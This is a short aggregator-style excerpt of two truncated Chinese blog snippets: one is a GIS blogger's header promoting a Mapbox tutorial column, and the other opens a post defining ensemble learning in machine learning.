&#x1f468;‍⚕️ 主页&#xff1a; gis分享者 &#x1f468;‍⚕️ 感谢各位大佬 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍⚕️ 收录于专栏&#xff1a;mapbox 从入门到精通 文章目录 一、&#x1f340;前言二、&#x1f340;根属性2.1 so…

人工智能知识分享第九天-机器学习_集成学习

集成学习 概念 集成学习是机器学习中的一种思想&#xff0c;它通过多个模型的组合形成一个精度更高的模型&#xff0c;参与组合的模型称为弱学习器&#xff08;基学习器&#xff09;。训练时&#xff0c;使用训练集依次训练出这些弱学习器&#xff0c;对未知的样本进行预测时…